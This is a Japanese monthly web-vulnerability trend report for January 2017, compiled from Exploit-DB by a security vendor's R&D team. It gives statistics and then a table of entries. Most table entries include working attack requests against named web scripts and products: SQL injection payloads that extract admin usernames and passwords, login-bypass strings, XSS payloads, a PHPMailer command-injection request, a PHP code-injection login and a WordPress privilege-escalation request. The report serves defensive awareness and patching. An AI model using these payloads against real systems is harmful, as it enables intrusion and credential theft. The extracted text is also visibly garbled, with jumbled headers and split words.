最新 Web トレンドレポート (07.0) ~07.0. Exploit-DB( より公開されている内容に基づいたトレンド情報ですサマリーペンタセキュリティシステムズ株式会社 R&D センターデータセキュリティチーム 07 年月に公開さ

(1)

(2)

1. 脆弱性別件数

脆弱性カテゴリ 件数

リモートコマンドインジェクション

(Remote Command Execution) 1 特権昇格

(Privilege Escalation) 1 コードインジィクション

(Code Injection) 1 クロスサイトスクリプティング

(Cross Site Scripting : XSS) 17 SQL インジェクション (SQL Injection) 127 合計 147 2. 危険度別件数 危険度 件数割合早急対応要 12 8.16% 高 135 91.84% 合計 147 100.00% 3. 攻撃実行の難易度別件数 難易度 件数割合難 16 10.88% 中 25 17.01% 易 106 72.11% 合計 147 100.00% 4. 主なソフトウェア別脆弱性発生件数 ソフトウェア名 件数

Image Sharing Script 7

Movie Portal Script 7

NGO Website Script 6

NGO Directory Script 6

TrueConf Server 6

Micro Blog Script 5

My Private Tutor Website Builder Script 4

MC Smart Shop Script 3

Yoga and Fitness Website Script 3 Medical Clinic Website Script 3

Wordpress 3

ManagEnegine ADManager Plus 3

Travel Portal Script 3

Flippa Website Script 3

PHPBack 2

Manufacturer Website Design Script 2

My Link Trader 2

Itech Classifieds Script 2

Business Directory Script 2

Itech Real Estate Script 2

Starting Page 2

Online Printing Business Clone Script 2

Business Networking Script 2

Online Mobile Recharge Script 2

Dentist Website Script 2

Professional Service Booking Script 2

B2B Script 2

MC Yellow Pages Script 2

My Php Dating 2

MC Buy and Sell Cars Script 2

Itech Dating Script 2

Study Abroad Educational Website Script 2

Video Sharing Script 2

Shiksha Educational Website Script 2

Questions and Answers Script 2

Joomla 1

Vine VideoSite Creator Script 1

Itech News Portal Script 1

Clone of Oddee Script 1

Openexpert 1

Blackboard LMS 1

PHPMailer 1

Open Source Real-Estate Script 1

Online Food Delivery 1

MC Documentation Creator Script 1

Complain Management System 1

MC Inventory Manager Script 1

Maian Weblog 1

Atlassian Confluence 1

Itech Auction Script 1

Friends in War Make or Break 1

Itech Freelancer Script 1

Splunk 1

Online Tshirt Design Script 1

e-Soft24 Jokes Portal Script Seo 1

Viral Image Sharing Script 1

School Management Software 1

Job Vacancy Script 1

iTechscripts Freelancer Script 5.11 1

B2B Alibaba Clone Script 1

BoZoN 1

My Photo Gallery 1

Auction Website Script 1

Online Hotel Booking System Pro 1

Finance Website Script 1

Caregiver Script 1

Buy and Sell Market Place Software 1

Itech B2B Script 1

Home of Viral Images 1

Dating Script 1

Video Site Creator Script 1

Itech Multi Vendor Script 1

Classifieds Script 1

https://www.exploit-db.com/exploits/41028/ 1 Viral Image & Video Sharing GagZone Script 1

HelpDeskZ 1

Image and Video Script 1

Social News and Bookmarking Script 1

合計 147

EDB-Report

最新Web脆弱性トレンドレポート(2017.01)

2017.01.01~2017.01.31 Exploit-DB(http://exploit-db.com)より公開されている内容に基づいた脆弱性トレンド情報です。

サマリー

2017年1月に公開されたExploit-DBの脆弱報告件数は、平均的に、他の期間の脆弱性数よりも4倍ほど多かったです。これは、「Movie Portal Script」のように、特定の目的に合わせてパッケージ化されているScriptに対した脆弱性が多く発見されたからです。これらのScriptは、有料サービスで購入して使用され、購入したサイトから特定のScriptに対した脆弱性が発見されると、ほとんどのScriptでも脆弱性が発見される形式で報告されました。Scriptで発見された脆弱性は、ほとんどがSQLインジェクション関連脆弱性でした。該当の脆弱性は、攻撃に成功するかどうかを確認する単純なクエリではなく、実際にDBデータを抽出するクエリで構成されていて、危険度と難易度の高い脆弱性でした。脆弱性が発見された Scriptを使用する管理者は、該当の脆弱性の内容を必ず確認し、入力内容をを厳密に検証するセキュアコーディングおよび関連アップデートを実施して、脆弱性がさらされないように注意する必要があります。 ペンタセキュリティシステムズ株式会社R&Dセンター　データセキュリティチーム 1 1 1 17 127 0 20 40 60 80 100 120 140 リモートコマンドインジェクション (Remote Command Execution) 特権昇格 (Privilege Escalation) コードインジィクション (Code Injection) クロスサイトスクリプティング (Cross Site Scripting : XSS)

SQL インジェクション (SQL Injection) 脆弱性別件数 12 135 険度別件数 早急対応要高 16 25 106 攻撃実行の難易度別件数 難中易 7 7 6 6 6 5 4 3 3 3 3 3 3 3 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 11 1 1 1 1 1 1 11 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 11 1 1 1 1 主なソフトウェア別脆弱性発生件数

Image Sharing Script Movie Portal Script NGO Website Script NGO Directory Script TrueConf Server Micro Blog Script

(3)

日付 EDB番号 脆弱性カテゴリ 攻撃難脆弱性度 危険度 脆弱性名 攻撃コード 対象プログラム 対象環境 2017-01-02 40986 Remote Command Execution 中早急対応要 HPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework /

zend-mail < 2.4.11 - Remote Commec Execution 脆弱性

POST /contact_forms.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

action=send&name=name&email="attacker\\\\\\\\" -oQ/tmp/ -Xcache/exploit.php anything"@email.com&msg=<? phpinfo(); ?> PHPMailer PHPMailer < 5.2.20 / SwiftMailer <= 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11

2017-01-04 40989 XSS 易高 Atlassian Confluence 5.9.12 -_{/pages/ XSS 脆弱性} POST

/pages/doeditattachment.action?pageId={pageId}&attachment Bean.fileName={filename} HTTP/1.1

Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 atl_token={atl_token}&pageId={pageId}&isFromPageView=false &newFileName=<script>alert(1)</script>file&newComment=&n ewContentType=application%2Foctet-stream&newParentPage=&confirm=Save Atlassian Confluence Atlassian Confluence 5.9.12 2017-01-07 40997 XSS 中高 Splunk 6.1.1 - /en-US/app/ XSS 脆_弱性 GET /en-US/app/ HTTP/1.1 Host:

Referer: javascript:prompt("XXS by justpentest"); User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */*

Splunk Splunk 6.1.1

2017-01-07 40998 SQL Injection 易高 My Link Trader 1.1 - SQL Injection_脆弱性

POST /admin/login.php HTTP/1.1 Host:

Accept: */*

Username='or''='&Password=123

My Link Trader My Link Trader_1.1

2017-01-08 41082 SQL Injection 中高 ManagEnegine ADManager Plus_{6.5.40 - / SQL Injection 脆弱性}

/Report.do?methodToCall=generateReport&action=Generate& domains=DC=acme,DC=local&&attrId=3001&attrTabName=1; %20SELECT%20pg_sleep(100);%20--&attrbColName=COMPUTER_NAME&attrbDispName=Compute r%20Name ManagEnegine ADManager Plus ManagEnegine ADManager Plus 6.5.40

2017-01-08 41082 XSS 中高 ManagEnegine ADManager Plus 6.5.40 - / XSS 脆弱性 /ObjectProperties.do?selectedTab=home&guid={0622C4EE- 51D8-4381-A1D9-05B66F10BA16}&domainName=12422'%3balert(1)%2f%2f1 66dlgck5&selectedObjectTab=properties&reportProperties=obj ectProperties&objectClass=computer&adscsrf=3b59a7c2-4cf4-4f3c-95e4-bfe41f76717a ManagEnegine ADManager Plus ManagEnegine ADManager Plus 6.5.40 2017-01-08 41082 XSS 易高

ManagEnegine ADManager Plus 6.5.40 - ExportReport.jsp XSS 脆弱性 /jsp/reports/ExportReport.jsp?reportList=true&reportId=43&wa adAccId=/'onload='alert(9) ManagEnegine ADManager Plus ManagEnegine ADManager Plus 6.5.40 2017-01-09 41014 XSS 中高 Blackboard LMS 9.1 SP14 - /webapps/Bb-sites-user-profile-BBLEARN/ XSS 脆弱性 POST /webapps/Bb-sites-user-profile-BBLEARN/profile.form HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 userVO.firstName=%3Cimg+src%3Dx+onerror%3Dprompt%2 84%29%3E&userVO.lastName=%3Cimg+src%3Dx+onerror% 3Dprompt%284%29%3E&userVO.user.educationLevel=Not+ Disclosed&userVO.user.gender=Not+Disclosed&birthDate_date time=&pickdate=&pickname=&birthDate_date=&userVO.user.s tudentId=&userType=HE_STUDENT&userVO.user.emailAddress =sec%40secteach.me&userVO.user.street1=&userVO.user.city =&userVO.user.state=&userVO.user.zipCode=&userVO.user.co untry=AF&userVO.user.mobilePhone=&userVO.user.homePhon e1=&userVO.user.webPage=&userVO.userProfile.institutionGui d=User_Instr_2015-02-22_19%3A31%3A21.304&userVO.user.jobTitle=&userVO.user .department=&top_Submit=Submit Blackboard LMS Blackboard LMS 9.1 SP14

(4)

日付 EDB番号 脆弱性カテゴリ 攻撃難脆弱性度 危険度 脆弱性名 攻撃コード 対象プログラム 対象環境 2017.01.01~2017.01.31 Exploit-DB(http://exploit-db.com)より公開されている内容に基づいた脆弱性トレンド情報です。

EDB-Report

最新Web脆弱性トレンドレポート(2017.01) 2017-01-09 40999 SQL Injection 難早急対応要 My Php Dating 2.0 -view_image.php SQL Injection 脆弱性 /view_image.php?path=-124+union+select+1,group_concat(column_name),3,4,5,6,7,8, 9+from+information_schema.columns+where+table_schema= database()--My Php Dating My Php Dating 2.0 2017-01-09 41001 SQL Injection 易高 My Php Dating 2.0 -view_profile.php SQL Injection 脆弱性

/view_profile.php?id=1%20and%201=1-- _{My Php Dating} My Php Dating 2.0 2017-01-09 41002 SQL Injection 中高 Friends in War Make or Break 1.7 -_{index.php SQL Injection 脆弱性}

/index.php?imgid=-9999+union+all+select+null,null,null,null,version(),null-- Friends in War_{Make or Break}

Friends in War Make or Break

1.7 2017-01-10 41004 SQL Injection 易高 Starting Page 1.3 - outgoing.php_{SQL Injection 脆弱性} /outgoing.php?linkid=1%20and%201=1-- Starting Page Starting Page_1.3

2017-01-10 41006 _EscalationPrivilege 易高

WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3

-admin-ajax.php Privilege Escalation 脆弱性

POST /wp-admin/admin-ajax.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 username=administrator&email=sth&action=loginGuestFacebo ok Wordpress WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 2017-01-11 41034 SQL Injection 易高

School Management Software 2.75 - notice-edit.php SQL

Injection 脆弱性

/notice-edit.php?aid=1%20and%201=1-- _ManagementSchool Software

School Management Software 2.75 2017-01-11 41032 SQL Injection 中高 _{- category.php SQL Injection 脆弱性}iTechscripts Freelancer Script 5.11

/category.php?sk=-9999+union+all+select+null,null,group_concat(username,char( 58),password),null+from/**/admin_user+--+ iTechscripts Freelancer Script 5.11 iTechscripts Freelancer Script 5.11 2017-01-11 41024 SQL Injection 易高 _{movie.php SQL Injection 脆弱性}Movie Portal Script 7.35 - /movie.php?f=1%20and%201=1-- Movie Portal_Script Movie Portal_{Script 7.35} 2017-01-11 41023 SQL Injection 易高 Travel Portal Script 9.33

-hotel.php SQL Injection 脆弱性

/hotel.php?id=1%20and%201=1-- Travel Portal Script

Travel Portal Script 9.33 2017-01-11 41023 SQL Injection 易高 _{holiday.php SQL Injection 脆弱性}Travel Portal Script 9.33 - /holiday.php?id=1%20and%201=1-- Travel Portal_Script Travel Portal_{Script 9.33}

2017-01-11 41009 SQL Injection 難高 Starting Page 1.3 - link_req_2.php_{SQL Injection 脆弱性}

POST /link_req_2.php HTTP/1.1 Host:

Accept: */*

category=1' AND (select 1 from(select count(*),concat((select(select(select

concat(0x7e,0x27,username,0x3a,password,0x27,0x7e)from sp_admin limit 0,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND

'a'='a&name=abc&[email protected]&url=www.xxx.co m&description=helloworld

Starting Page Starting Page_1.3

2017-01-11 41010 SQL Injection 易高 My link trader 1.1 - out.php SQL_{Injection 脆弱性} /out.php?id=1%20and%201=1-- My link trader My link trader_1.1 2017-01-11 41023 SQL Injection 易高 _{pages.php SQL Injection 脆弱性}Travel Portal Script 9.33 - /pages.php?id=1%20and%201=1-- Travel Portal_Script Travel Portal_{Script 9.33} 2017-01-11 41024 SQL Injection 易高 _{artist.php SQL Injection 脆弱性}Movie Portal Script 7.35 - /artist.php?a=1%20and%201=1-- Movie Portal_Script Movie Portal_{Script 7.35} 2017-01-11 41027 SQL Injection 易高

Dating Script 3.25 -see_more_details.php SQL

Injection 脆弱性

/see_more_details.php?id=1%20and%201=1-- _{Dating Script} Dating Script 3.25

2017-01-12 41028 SQL Injection 易高 Job Portal Script 9.11 - index.php_{SQL Injection 脆弱性}

POST /admin/index.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Username=admin&Password=' or '1'='1 https://www.e xploit-db.com/exploit s/41028/ Job Portal Script 9.11

2017-01-12 41029 SQL Injection 易高 Online Food Delivery 2.04 -_{Authentication Bypass}

POST /admin/admin_login.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Username=1' or 1=1--&Password=anything Online Food Delivery Online Food Delivery 2.04 2017-01-13 41058 SQL Injection 易高

Professional Service Booking Script - best_pro_details.php SQL

Injection 脆弱性

/best_pro_details.php?service_id=1%20and%201=1-- Professional_Service Booking Script

Professional Service Booking

Script 2017-01-13 41058 SQL Injection 易高 Professional Service Booking Script_{- content.php SQL Injection 脆弱性}

/content.php?page=1%20and%201=1--Professional Service Booking Script Professional Service Booking Script

(5)

日付 EDB番号 脆弱性カテゴリ 攻撃難脆弱性度 危険度 脆弱性名 攻撃コード 対象プログラム 対象環境 2017-01-13 41047 SQL Injection 易高

Open Source RealEstate Script -viewpropertydetails.php SQL

Injection 脆弱性

/viewpropertydetails.php?id=1%20and%201=1-- Open Source_Real-Estate Script

Open Source Real-Estate

Script 2017-01-15 41071 SQL Injection 易高

MC Documentation Creator Script - dashboard.php SQL Injection 脆弱性 /admin/dashboard.php?doc=1%20and%201=1-- _{Documentation}MC Creator Script MC Documentation Creator Script 2017-01-15 41068 SQL Injection 易高

MC Inventory Manager Script -dashboard.php SQL Injection 脆弱性 /dashboard.php?p=view_sell&id=1%20and%201=1-- MC Inventory Manager Script MC Inventory Manager Script 2017-01-15 41065 SQL Injection 易高 _{category.php SQL Injection 脆弱性}MC Yellow Pages Script - /category.php?list_id=1%20and%201=1-- _{Pages Script}MC Yellow _{Pages Script}MC Yellow 2017-01-15 41064 SQL Injection 易高 _{cateogry.php SQL Injection 脆弱性}MC Buy and Sell Cars Script 1.1

-/cateogry.php?p=search&cage=all&manufacturer=1%20and%

201=1-- _{Sell Cars Script}MC Buy and

MC Buy and Sell Cars Script

1.1 2017-01-15 41063 SQL Injection 易高 _{product.php SQL Injection 脆弱性}MC Smart Shop Script - /product.php?p=1%20and%201=1-- _{Shop Script}MC Smart MC Smart Shop_Script

2017-01-15 41063 SQL Injection 易高

MC Smart Shop Script -adminlogin.php SQL Injection 脆弱

性

POST /adminlogin.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 [email protected]&Password='or''=' MC Smart Shop Script MC Smart Shop Script 2017-01-15 41062 SQL Injection 易高

e-Soft24 Jokes Portal Script Seo 1.3 - /siteadmin/ SQL Injection 脆弱

性

POST /siteadmin/ HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Username=anything&Password='or''=' e-Soft24 Jokes Portal Script Seo e-Soft24 Jokes Portal Script Seo 1.3

2017-01-15 41063 SQL Injection 易高 _{category.php SQL Injection 脆弱性}MC Smart Shop Script - /category.php?id=1%20and%201=1-- _{Shop Script}MC Smart MC Smart Shop_Script 2017-01-15 41064 SQL Injection 易高 MC Buy and Sell Cars Script 1.1 -_{car.php SQL Injection 脆弱性} /car.php?c=1%20and%201=1-- _{Sell Cars Script}MC Buy and

MC Buy and Sell Cars Script

1.1 2017-01-15 41065 SQL Injection 易高 _{details.php SQL Injection 脆弱性}MC Yellow Pages Script - /details.php?list_id=1%20and%201=1-- _{Pages Script}MC Yellow _{Pages Script}MC Yellow

2017-01-16 41080 SQL Injection 中高

Image Sharing Script 4.13 -list_temp_photo_pin_upload.php SQL Injection 脆弱性 /list_temp_photo_pin_upload.php?pid='%20AND%20(SELECT %202674%20FROM(SELECT%20COUNT(*),CONCAT(0x717a 717671,(SELECT%20(ELT(2674=2674,1))),0x717a6a6b71,FLO OR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CH ARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'xvt H'='xvtH Image Sharing Script Image Sharing Script 4.13 2017-01-16 41080 SQL Injection 難早急対応要

Image Sharing Script 4.13 -categorypage.php SQL Injection 脆弱性 # /categorypage.php?token=%27+AND+(SELECT+2674+FROM( SELECT+COUNT(*)%2CCONCAT(0x717a717671%2C(SELECT +(ELT(2674%3D2674%2C1)))%2C0x717a6a6b71%2CFLOOR (RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_ SETS+GROUP+BY+x)a)+AND+%27xvtH%27%3D%27xvtH&o q=%27+AND+(SELECT+2674+FROM(SELECT+COUNT(*)%2C CONCAT(0x717a717671%2C(SELECT+(ELT(2674%3D2674% 2C1)))%2C0x717a6a6b71%2CFLOOR(RAND(0)*2))x+FROM+I NFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+ AND+%27xvtH%27%3D%27xvtH&aqs=chrome..69i57.447j0j 4&sourceid=chrome&ie=UTF-8 Image Sharing Script Image Sharing Script 4.13

2017-01-16 41080 XSS 中高 _{categorypage.php XSS 脆弱性}Image Sharing Script 4.13

-POST /categorypage.php HTTP/1.1 Host:

Accept: */*

token="><img src=i onerror=prompt(1)>

Image Sharing Script

Image Sharing Script 4.13

2017-01-16 41080 XSS 中高 _{postComment.php XSS 脆弱性}Image Sharing Script 4.13

-POST /ajax-files/postComment.php HTTP/1.1 Host:

Accept: */*

text=<img src=i onerror=prompt(1)>

(6)

日付 EDB番号 脆弱性カテゴリ 攻撃難脆弱性度 危険度 脆弱性名 攻撃コード 対象プログラム 対象環境

EDB-Report

2017-01-16 41080 SQL Injection 難早急対応要

Image Sharing Script 4.13 -postComment.php SQL Injection

脆弱性

POST /ajax-files/postComment.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 id=%27%20AND%20(SELECT%202674%20FROM(SELECT% 20COUNT(*),CONCAT(0x717a717671,(SELECT%20(ELT(2674 =2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x%20FROM% 20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%2 0BY%20x)a)%20AND%20%27xvtH%27=%27xvtH Image Sharing Script Image Sharing Script 4.13 2017-01-16 41080 SQL Injection 難早急対応要

Image Sharing Script 4.13 -followBoard.php SQL Injection 脆弱

性

POST /ajax-files/followBoard.php HTTP/1.1 Host:

Accept: */*

brdId=' AND (SELECT 2674 FROM(SELECT COUNT(*),CONCAT(0x717a717671,(SELECT

(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH

2017-01-16 41075 XSS 中高 Business Networking Script 8.11 -_{home.php XSS 脆弱性}

POST /home.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 first_name='"--></style></Script><Script>alert(1)</Script> Business Networking Script Business Networking Script 8.11 2017-01-16 41075 SQL Injection 易高

Business Networking Script 8.11 -show_group_members.php SQL Injection 脆弱性 /show_group_members.php?gid=%27%20or%271%27=%2 71 Business Networking Script Business Networking Script 8.11

2017-01-16 41080 XSS 中高 Image Sharing Script 4.13 -_{searchpin.php XSS 脆弱性}

POST /searchpin.php HTTP/1.1 Host:

Accept: */*

q="><img src=i onerror=prompt(1)>

2017-01-17 41084 Code Injection 中高 BoZoN 2.4 - Remote Code_Execution

POST /index.php HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 creation=1&login="];$PWN=''phpinfo();//''//"&pass=abc123&c onfirm=abc123&token= BoZoN BoZoN 2.4 2017-01-17 41087 SQL Injection 難早急対応要 Openexpert 0.5.17 -expert_wizard.php SQL Injection 脆弱性 /expert_wizard.php?area_id=1%20AND%20(SELECT%208855 %20FROM(SELECT%20COUNT(*),CONCAT(0x7171706a71,(S ELECT%20(ELT(8855=8855,1))),0x71626b7871,FLOOR(RAND( 0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20 GROUP%20BY%20x)a)%20Type:%20AND/OR%20time-based%20blind%20Title:%20MySQL%20>=%205.0.12%20A ND%20time-based%20blind%20Payload:%20area_id=1%20AND%20SLEE P(5)%20---%20[15:35:38]%20[INFO]%20the%20back-end%20DBMS%20is%20MySQL%20web%20server%20oper ating%20system:%20Windows%20web%20application%20t echnology:%20Apache%202.4.23,%20PHP%205.6.26%20ba ck-end%20DBMS:%20MySQL%20>=%205.0%20[15:35:38]%2 0[INFO]%20fetching%20database%20names%20[15:35:39] %20[INFO]%20the%20SQL%20query%20used%20returns% 205%20entries%20[15:35:39]%20[INFO]%20retrieved:%20i nformation_schema%20[15:35:39]%20[INFO]%20retrieved: %20mysql%20[15:35:39]%20[INFO]%20retrieved:%20perfor mance_schema%20[15:35:39]%20[INFO]%20retrieved:%20s ys%20[15:35:39]%20[INFO]%20retrieved:%20test Openexpert Openexpert_0.5.17

2017-01-18 41116 SQL Injection 中高 B2B Script 4.27 - search.php SQL_{Injection 脆弱性}

/search.php?keywords=Products%27)%20UNION%20ALL%20 SELECT%20NULL,CONCAT(0x716b7a7871,0x6863447348696 5586e6b57754358736b487a43564c6963646e556549454e47 6177776a5a6a7a4c4c,0x71767a7a71)#

(7)

2017-01-18 41116 SQL Injection 中高 B2B Script 4.27 - catcompany.php_{SQL Injection 脆弱性}

/catcompany.php?token=7417%27%20UNION%20ALL%20SE LECT%20NULL,CONCAT(0x7171707071,0x6a6c6d484f58726 e48446167417a66756464445941464844416856527a634a70 4f4b79647a494654,0x716b786271),NULL,NULL,NULL,NULL--aNXq B2B Script B2B Script 4.27

2017-01-18 41114 SQL Injection 易高 _{/admin_new/ SQL Injection 脆弱性}Flippa Website Script

-POST /admin_new/ HTTP/1.1 Host:

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 AppleWebKit/535.7 KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7 Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Username='or''='&Password=anything Flippa Website Script Flippa Website Script 2017-01-18 41114 SQL Injection 易高

Flippa Website Script -category.entryform.php SQL Injection 脆弱性 /admin_new/category.entryform.php?cat_id=1%20and%201= 1-- Flippa Website Script Flippa Website Script 2017-01-18 41114 SQL Injection 易高

Flippa Website Script -page.editor.php SQL Injection 脆弱

性

/admin_new/page.editor.php?id=1%20and%201=1-- Flippa Website Script

Flippa Website Script 2017-01-18 41112 SQL Injection 易高

Study Abroad Educational Website Script - list_blogs.php SQL

Injection 脆弱性

/admin/list_blogs.php?mpid=1%20and%201=1-- Study Abroad_Educational Website Script

Study Abroad Educational Website Script 2017-01-18 41112 SQL Injection 易高

Study Abroad Educational Website Script - list_listing.php SQL

Injection 脆弱性

/admin/list_listing.php?mpid=1%20and%201=1-- Study Abroad_Educational Website Script

Study Abroad Educational Website Script 2017-01-18 41111 SQL Injection 易高

Shiksha Educational Website Script - member.regform.php SQL

Injection 脆弱性

/admin/member.regform.php?user_id=1%20and%201=1-- _EducationalShiksha Website Script

Shiksha Educational Website Script 2017-01-18 41111 SQL Injection 易高

Shiksha Educational Website Script - subject_add.php SQL Injection 脆

弱性

/admin/subject_add.php?id=1%20and%201=1-- _EducationalShiksha Website Script

Shiksha Educational Website Script 2017-01-18 41110 SQL Injection 易高

Online Tshirt Design Script -product.new.add.php SQL

Injection 脆弱性

/admin/product.new.add.php?id=1%20and%201=1-- Online Tshirt Design Script

Online Tshirt Design Script 2017-01-18 41109 SQL Injection 易高

Online Printing Business Clone Script - product-decs.php SQL

Injection 脆弱性

/product-decs.php?cat_id=1%20and%201=1-- Online Printing_{Business Clone} Script

Online Printing Business Clone

Online Printing Business Clone Script - product.entryform.php SQL Injection 脆弱性 /admin/product.entryform.php?product_id=1%20and%201=1 --Online Printing Business Clone Script Online Printing Business Clone Script 2017-01-18 41108 SQL Injection 易高 _{search.php SQL Injection 脆弱性}Clone of Oddee Script 1.1.3 - /search.php?term=1%20and%201=1-- _{Oddee Script}Clone of Clone of Oddee_{Script 1.1.3}

2017-01-18 41107 SQL Injection 易高 _{user_edit.php SQL Injection 脆弱性}Online Mobile Recharge Script - /admin/user_edit.php?id=1%20and%201=1-- _{Recharge Script}Online Mobile _{Recharge Script}Online Mobile

Online Mobile Recharge Script -page.editor.php SQL Injection 脆弱

性

/admin/page.editor.php?id=1%20and%201=1-- Online Mobile Recharge Script

Online Mobile Recharge Script 2017-01-18 41106 SQL Injection 易高

Questions and Answers Script 1.1.3 - question.php SQL Injection

脆弱性

/question.php?id=1%20and%201=1-- Questions and Answers Script

Questions and Answers Script

1.1.3 2017-01-18 41106 SQL Injection 易高

Questions and Answers Script 1.1.3 - category.php SQL Injection

脆弱性

/category.php?id=1%20and%201=1-- Questions and Answers Script

Questions and Answers Script

1.1.3 2017-01-18 41105 SQL Injection 易高

NGO Website Script -addnew.event.php SQL Injection 脆

弱性

/admin/addnew.event.php?id=1%20and%201=1-- NGO Website Script

NGO Website Script 2017-01-18 41105 SQL Injection 易高

NGO Website Script -add_new_photo.php SQL Injection

脆弱性

/admin/add_new_photo.php?id=1%20and%201=1-- NGO Website Script

NGO Website Script -add_new_project.php SQL

Injection 脆弱性

/admin/add_new_project.php?id=1%20and%201=1-- NGO Website Script

NGO Website Script -add_new_video.php SQL Injection

脆弱性

/admin/add_new_video.php?id=1%20and%201=1-- NGO Website Script

NGO Website Script -addnew.activity.php SQL Injection

脆弱性

/admin/addnew.activity.php?id=1%20and%201=1-- NGO Website Script

NGO Website Script 2017-01-18 41105 SQL Injection 易高 NGO Website Script - addblog.php_{SQL Injection 脆弱性} /admin/addblog.php?id=1%20and%201=1-- NGO Website_Script NGO Website_Script 2017-01-18 41104 SQL Injection 易高

Yoga and Fitness Website Script -promo_classes.php SQL Injection

脆弱性

/promo_classes.php?cid=1%20and%201=1-- _{Fitness Website}Yoga and Script

Yoga and Fitness Website

Script 2017-01-18 41104 SQL Injection 易高 Yoga and Fitness Website Script -_{style.php SQL Injection 脆弱性}

/style.php?s=1%20and%201=1--Yoga and Fitness Website Script Yoga and Fitness Website Script 2017-01-18 41104 SQL Injection 易高

Yoga and Fitness Website Script -teacherindi.php SQL Injection 脆弱

性

/teacherindi.php?t=1%20and%201=1-- _{Fitness Website}Yoga and Script

Yoga and Fitness Website

NGO Directory Script -add_country.php SQL Injection 脆

弱性

/admin/add_country.php?countryid=1%20and%201=1-- NGO Directory Script

NGO Directory Script 2017-01-18 41103 SQL Injection 易高

NGO Directory Script -details_religios.html SQL Injection

脆弱性

/admin/details_religios.html?project_id=1%20and%201=1-- NGO Directory Script

NGO Directory Script 2017-01-18 41103 SQL Injection 易高 _{cities_add.php SQL Injection 脆弱性}NGO Directory Script - /admin/cities_add.php?cityid=1%20and%201=1-- NGO Directory_Script NGO Directory_Script

NGO Directory Script -request_add.php SQL Injection 脆

弱性

/admin/request_add.php?request_id=1%20and%201=1-- NGO Directory Script

NGO Directory Script 2017-01-18 41103 SQL Injection 易高

NGO Directory Script -good_category_add.php SQL

Injection 脆弱性

/admin/good_category_add.php?goods_cat_id=1%20and%20

1=1-- NGO Directory_Script NGO Directory_Script 2017-01-18 41103 SQL Injection 易高 NGO Directory Script - details.html_{SQL Injection 脆弱性} /admin/details.html?project_id=1%20and%201=1-- NGO Directory_Script NGO Directory_Script

(8)

EDB-Report

My Private Tutor Website Builder Script - join_class.php SQL

Injection 脆弱性

/join_class.php?course_id=1%20and%201=1-- _{Tutor Website}My Private Builder Script

My Private Tutor Website

Builder Script 2017-01-18 41102 SQL Injection 易高

My Private Tutor Website Builder Script - add_cat.php SQL Injection

脆弱性

/admin/add_cat.php?id=1%20and%201=1-- _{Tutor Website}My Private Builder Script

